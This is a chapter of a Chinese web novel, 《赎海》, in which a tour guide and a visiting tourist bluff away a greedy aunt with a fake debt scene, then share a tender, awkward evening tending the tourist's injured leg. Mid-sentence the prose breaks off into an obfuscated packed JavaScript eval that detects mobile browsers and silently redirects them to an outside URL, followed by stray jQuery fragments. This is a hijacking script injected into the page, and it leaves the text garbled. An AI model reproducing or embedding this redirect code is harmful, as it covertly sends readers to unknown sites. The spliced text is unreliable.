18. 我送你

作品:《赎海

    “啊?”不是我,是二姑妈张大了嘴。


    “她晚上骑车没下数,冒着雨超速还敢不戴头盔,要不是我爸躲得及时你们家几十万都不够赔的。”俞思宁切了一声,靠着扶手抱臂看我,“我爸没伤到骨头,我不跟你计较,把这半个月住院费和误工费出了就算了事,也就我妈看你可怜,拦着我别报警扣你的车。”


    “你是她姑妈?”不给一丝空档,俞思宁转头审视二姑妈,“正好,她这三天医药费没给我,她说拿不出钱,你先给垫了。”


    “我?我凭什么垫?”二姑妈本来懵懵的,一听到钱回过神了,“跟我没关系!她撞人跟我没关系!小丫头你别拎不清!我是来找她借钱的,我怎么可能有钱?!”


    “长辈要向小辈借钱?”俞思宁眉一挑。


    二姑妈顿时哑然。


    “你们家的烂事我不参与。”俞思宁无所谓道,接着斜我一眼,“——你。”


    我被她这副自信张扬的姿态帅到,无意识张嘴:“啊。”


    “今天上门来催,是我一个人来,三天后要是还拿不出钱,你看着办。解决不了就走起诉,听到没有?!”


    我会意,做出一个掺杂丢脸和无奈的复杂表情。


    “别当哑巴。开门进你家,有什么能换钱的先给我拿出来。”俞思宁不耐烦道。


    二姑妈没想到除了她还有一个追债的,俞思宁态度嚣张,她向来欺软怕硬,担心俞思宁背后有什么人撑腰才会如此霸道,思来想去再留在这里不划算,往地下呸了一口,嘴上喊着“摊上事了还敢给我甩脸子”,骂骂咧咧跑了。


    一场突如其来的戏在观众离开后迅速谢幕,俞思宁收了那副要吃人的架势,撑着扶手恢复原样。她捂住自己心口,有点茫然地说:“真把她骗到了?”


    “对啊!”我肯定她。十几年麻将打下来,她脑子早就不灵光了。


    俞思宁发了一会呆,她像是想笑,又有点恍惚,最终摇了摇头:“这可真是……”


    “真是……”我接话,也不知道该说什么好。


    我看她她看我,大眼瞪小眼。本来想问她是哪儿来的急智,在那种情况下演得那么逼真,又或者问她为什么一声不吭上了楼,可话到嘴边却认为说什么都多余。


    最后我们俩同时“噗嗤”一声笑了出来。


    我推开门,侧身让出通道:“进来吧。”


    俞思宁熟稔地弯腰换上那双专为她准备的小猫拖鞋,鞋面上翘起的胡须随着她的步子一抖一抖。


    请她坐在沙发上,我翻出药箱里的红花油和碘伏,抱着这些瓶瓶罐罐回到客厅。


    俞思宁的目光停留在电视柜二层的一排摆饰。


    陶瓷小猫是我在地摊上一眼看中的,我说像她,她困惑不已,仔细看了半天说有吗,我说有,她说好吧;那个临山微缩模型是我们下山后她在景区文创店挑的,选了个最贵最精致的;还有那副拼贴画,用的是我们在晏棠村捡的枫杨叶和广玉兰。大大小小起码二十件玩意,赠送人都是俞思宁。


    “你送的太多了,”我单膝跪在茶几前,伸手去卷她的裤腿,“我给它们专门腾了个地方。”


    布料摩擦过伤口时她下意识绷紧了小腿。淤青在瓷白的皮肤上显得格外刺目,边缘泛着不健康的紫红色,几处擦伤还渗着血丝。这样的伤放我身上,我看都不看一眼,可跌倒的人是俞思宁,那另当别论。


    红花油的气味在空气中弥漫开来。我蘸着药油的指尖刚触到伤处,就听见她倒抽冷气的声音。


    我停手:“弄疼你了?”


    “不会。”她摇摇头。


    我还是放轻了力道。


    墙上的老式挂钟滴答作响,声响在静谧的客厅里被无限放大。我们两个大活人一言不发。


    我动作很慢也很仔细,低着头,能感受到她温热的呼吸拂过我的后颈。她挺怕疼,不过她不承认。


    俞思宁她很……


    她、她怎么样?


    她很好,是一个默契的搭子或者合适的朋友?


    我想应该是这样,我想不止是这样。


    若是今天换成俞媛在临山摔成这样,我大概只会把药往她面前一推,在她撒娇般抱怨时丢下一句自己的事情自己做。俞媛是外向开放的,跟她太熟了我懒得给她擦药,俞思宁是内敛端庄的,她多半不喜欢别人碰她。


    那她为什么从头到尾这么安静?为什么不拒绝我说自己来?


    我的视线低垂,不敢抬头看她的脸,目光只落在她瘦削的腿上。她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193233|181123||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    太瘦了,每次吃饭我都要劝她多动几筷子。此刻她的腿搁在我面前,纤细得仿佛用一只手随意使点力气就能托起。


    我大概是脑子宕机了,居然鬼使神差地真的这么碰了一下她。


    “!”俞思宁猛地一颤,条件反射般伸手去挡,半是无措半是惊慌地看过来。


    “……”


    我我我我……不是故意的。


    “涂好了!”我蹭的一下站起来,险些碰翻药瓶,视线死死钉在地板上,丝毫不敢回应俞思宁的眼神。


    “……好。”


    空气凝滞得让人窒息。我背过身去,后知后觉地意识到自己越来越无法和她独处,尤其是每次距离不到半米时,我的脑子就不是我的了。


    我不能再故意靠近她。


    可……


    可俞思宁明天要回去了。


    她是来旅游的游客,我是她雇的地陪。行程结束,账结清,最多就是交了个朋友,列表里多了一个联系人。


    还能怎么样呢?


    收拾好药箱,我装作无事发生,按下遥控器开了电视,综艺节目的喧闹声填满整个客厅,夸张的笑声和音效在耳边炸开。我借着这片嘈杂,挪到俞思宁身边。


    “今天没玩好,下次要是再来,我免费带你玩,就当是朋友?”


    俞思宁渐渐缓了过来,她侧过脸,发丝垂落在肩头,想了一下,笑着歪头说:“好。”


    我觉得她很郑重。


    听她说完,我胸口堵着的那块石头突然就松动了,随即又泛起一阵酸意。


    不过萍水相逢,她下次旅游哪可能会来同一个地方。


    她不来了又怎样?难道我能去找她吗?我以什么身份有什么立场?


    我怎么了,孤单太久爱揪着别人不放?


    我不想这样,我不能这样。


    主持人说的话半个字都没听进去,我盯着屏幕想,我要堂堂正正地面对她,善始善终,不能把别人当做寄托而不想着拓展自我。


    俞思宁请我这么久,我理应请她一次,送她一样礼物。明天,再目送她离开。


    这不就行了?坦坦荡荡地开始潇潇洒洒地告别,对谁都好。


    “你喝酒吗?”我用余光看俞思宁,突然开口。